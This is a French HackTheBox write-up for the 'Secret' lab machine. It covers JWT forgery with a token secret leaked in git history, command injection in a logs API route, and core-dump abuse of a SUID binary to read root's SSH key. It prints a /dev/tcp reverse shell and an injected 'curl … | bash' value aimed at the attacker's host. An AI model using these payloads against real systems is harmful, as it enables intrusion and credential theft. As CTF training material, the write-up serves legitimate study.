> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Compte rendu HackTheBox de Secret

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Compétences**:

* Analyse de code
* Utilisation abusive d’une API
* Jetons Web JSON (JWT)
* Exploitation/Utilisation d’un core dump (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/310f8cb940ab96a0577241a4de2c04538f71b4df" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/d7d7cbd8a3e43a149012f2c83012f965db5a287d" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="/files/faa8b55bde4391df473826821a540f67ffe9650d" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (80,22,3000)

<figure><img src="/files/c26e8e0a9d65d2c57399887df98d9f4e05283b4c" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="/files/5a85e46b5c94234b2bcdd1c1efb314587f6be09f" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

<figure><img src="/files/c7eed5585af24bf1aa7a11392b6be0c489f98069" alt="" width="563"><figcaption></figcaption></figure>

> **Observation**: Le même site Web est accessible sur les ports 80 et 3000.

<figure><img src="/files/d3f65cc20207c5558aeab1e5da6b081b49973795" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/51b6e294c8478d318450e6e42981f22803b6f5cb" alt=""><figcaption></figcaption></figure>

**Recherche de répertoires :**

Nous utilisons Gobuster pour rechercher des répertoires sur le site :

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/bd93e856e7f5416e9cd09ceb087b7f478ac356ec" alt=""><figcaption></figcaption></figure>

## Enregistrer un utilisateur de l’API

Dans la section "docs", nous trouvons des instructions pour enregistrer un utilisateur. Exemple pour l'utilisateur « jordan » :

<figure><img src="/files/183b960a9af7ed7773a94b1616ce024f70d90d53" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="/files/224034aa4f4602552630da13e4e59cf63007beed" alt=""><figcaption></figcaption></figure>

## API d’authentification

Pour se connecter :

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

Cela nous renvoie un jeton d’authentification (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="/files/1b22e5281dd2107c4c4e22b9279f5206b3c4c6d9" alt=""><figcaption></figcaption></figure>

### Vérification du corps JSON par défaut

<figure><img src="/files/de102619de6914583becc7246bc33f378c0d62bf" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="/files/f84868c6e86a86f48686f766326c4840e67bb165" alt=""><figcaption></figcaption></figure>

### Vérification de la vulnérabilité [Jeton Web JSON](/fr/web-vulnerabilities/json-web-token-jwt-attack.md)

Utilisez un site pour décoder le JWT afin de lire et manipuler son contenu.

> **Remarque**: Le jeton JWT devrait être invalide. En modifiant les champs "name" et "email" par ceux d’un administrateur :

{% embed url="<https://jwt.io/>" %}

<figure><img src="/files/8d90ef856eb565c61b5492b11a9cb71bdeea51f1" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="/files/3ff69ad5a655223304876ec9816f1616f11391b4" alt=""><figcaption></figcaption></figure>

### Tentative d'accès à une API privée :

Tentative de connexion à une API privée à l’aide du JWT modifié :

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

Nous recevons le message « invalid token ».

<figure><img src="/files/77177352b9bd7020934e6649fe913f1e795229b2" alt="" width="563"><figcaption></figcaption></figure>

Avec notre propre JWT, nous avons accès en tant qu’utilisateur normal :

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

Nous recevons le message « You are normal user ».

<figure><img src="/files/803d0f736588cb282cd80af5b620011748b45641" alt=""><figcaption></figcaption></figure>

## Énumération des routes de l’API avec Wfuzz

Utilisez Wfuzz pour explorer les routes disponibles :

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

Nouvelle découverte : la `/api/logs` route.

<figure><img src="/files/e8ec86fe4415ff39e11ef8bf1e94eab165a9b09b" alt=""><figcaption></figcaption></figure>

## Analyse du code source

La page Web propose une option pour télécharger le code source.

<figure><img src="/files/e36a09304aca168de388b00e0d845c76dd7f8f31" alt="" width="563"><figcaption></figcaption></figure>

> **Trouvailles** :

* Un `.env` fichier contenant un `token_secret` avec la valeur « secret ».

<figure><img src="/files/a95caa2709f859cc53edb2b6cf5119fcd4e74585" alt=""><figcaption></figcaption></figure>

Un `.git` dossier avec un commit indiquant la suppression du fichier `.env`.

<figure><img src="/files/d4425a15703b57867a1acef8547adc70dd1f9673" alt=""><figcaption></figcaption></figure>

L'ancien fichier supprimé `token_secret` est trouvé :

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="/files/2750a7a0a66cb2eec2b97605f7c987cafe78054f" alt=""><figcaption></figcaption></figure>

Utilisez cet ancien `token_secret` pour signer un JWT avec les informations d’administrateur et accéder à l’API privée :

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="/files/427d667aa7c4ac2a3aaa4473ce346878064ffcbb" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Résultat**: Message de bienvenue en tant qu’administrateur : "welcome back admin".

<figure><img src="/files/04eedc0d2d27a27acd0038ad0ce7adec86930d7c" alt=""><figcaption></figcaption></figure>

Enfin, en exécutant la `/api/logs` route, le contenu suivant s’affiche :

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="/files/b9c137fca78d8865ed5bc0c01be1986977d21e03" alt=""><figcaption></figcaption></figure>

En examinant le `privitate.js` fichier et en analysant le code, nous voyons que :

<figure><img src="/files/bde625f0af08640c55437d416c1837029c5c522e" alt=""><figcaption></figcaption></figure>

## Vulnérabilité RCE :

{% hint style="info" %}
Ce code présente un problème de sécurité dû à une injection de commande. En effet, `le fichier` provient des paramètres de requête et est inséré directement dans la commande du terminal ; un utilisateur malveillant pourrait modifier `le fichier` pour exécuter d’autres commandes. La fonction de cette route est d’exécuter la `git log --oneline [file]` commande sur le système, où `[file]` est un fichier spécifique demandé dans le paramètre de requête.
{% endhint %}

Voici un exemple `curl` de commande qui tente d’injecter `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="/files/00941bf36a5c602c912db6c487dc54a4d23b5b94" alt=""><figcaption></figcaption></figure>

#### Nous allons lancer un reverse shell :

1. Créez un `index.html` fichier sur notre machine et créer un serveur web avec le contenu suivant :

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. Ensuite, écoutez sur le port 4444 :

```bash
nc -nlvp 4444
```

Lancez une injection avec `curl` sur notre serveur web :

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/8a31ee349a9245f7082f9ec578379b6d70577ebf" alt=""><figcaption></figcaption></figure></div>

### Drapeau user.txt :)

<figure><img src="/files/d35bff3b6683edb51ecba2cfe9c0be38ea2fdd12" alt=""><figcaption></figcaption></figure>

**Gestion du terminal :**/ Une fois que vous avez accès au serveur Linux, voici les commandes à exécuter pour un traitement efficace dans le terminal :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisez le shell pour travailler plus confortablement. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Élévation de privilèges (SUID)

Avec la commande suivante, nous vérifions si notre utilisateur **dispose de privilèges SUID**:

```bash
find / -perm -4000 2>/dev/null
```

Nous trouvons un fichier rare situé dans `/opt/count`, dont le propriétaire est `root`.

<figure><img src="/files/8caf6dc6e5f60a4474a9503cee38484ecdbe828f" alt=""><figcaption></figcaption></figure>

Lors de l’exécution de ce binaire, il nous demande de fournir un fichier, puis il affiche le nombre total de caractères, de mots et de lignes. Ce script lira le contenu du fichier puis affichera ses propriétés.

<figure><img src="/files/bb63d7d8a6d6c9585865e27c2d86686ffaa10b16" alt="" width="563"><figcaption></figcaption></figure>

### Binaire de core dump

En examinant le code source, nous pouvons observer qu’un core dump est généré, stockant temporairement le contenu en cas d’erreur.

<figure><img src="/files/25b8a0900a8f0dea3b60b4767e656814a04c4a93" alt=""><figcaption></figcaption></figure>

Les erreurs sont enregistrées dans le `/var/crash` répertoire. Voici comment créer un core dump :

1. **Entrez le nom du fichier ou du répertoire :**

   ```bash
   Entrez le nom du fichier/répertoire source : /root/.ssh/id_rsa
   ```

*(clé SSH root)* 2. **Enregistrer les résultats dans un fichier ?**

````
```css
Enregistrer les résultats dans un fichier ? [y/N] : ^Z
```
````

*(Mettre en arrière-plan)* 3. **Obtenez le PID :**

````
```bash
ps
```

_(Copier le PID)_
````

4\. **Tuer le processus :**

````
```bash
kill -BUS 'PID'
```
````

5\. **Relancez le binaire :**

````
```bash
fg
```
````

6\. **Vérifiez le répertoire des core dumps :**

````
```bash
ls -l /var/crash
```
````

*(Un nouveau fichier apparaît : `_opt_count.1000.crash`)*

<figure><img src="/files/087b8230c2388cde861f208197072046e8f4bdb3" alt=""><figcaption></figcaption></figure>

Nous avons maintenant un core dump en base64 contenant la clé SSH de root.

<figure><img src="/files/3f6312251252e3f459d67a218e6e4b05beddbfdf" alt=""><figcaption></figcaption></figure>

### Apport-umpack

Pour extraire les informations, nous utiliserons `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Ensuite, nous listerons le contenu du fichier dans `/tmp/ssh/coredump` en utilisant `strings`:

<figure><img src="/files/7a2d09b18c11fe28fde2012b7eef8319f6a541ea" alt=""><figcaption></figcaption></figure>

Nous trouvons la clé SSH de root

<figure><img src="/files/2248ca6fe61248533a1d4e760315be59c3f0bc2a" alt=""><figcaption></figcaption></figure>

### Connexion SSH

Une fois que nous avons créé le `id_rsa` fichier avec les permissions 600, nous pouvons nous connecter via SSH :

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="/files/6be464842cd328cd8b3394503a4680dc77b980cf" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/33dac78bc36c7c85c599c133d39f3c2c49455d60" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b58cfa5e5f9ac59029f22cf6c5d6317520d712e2" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
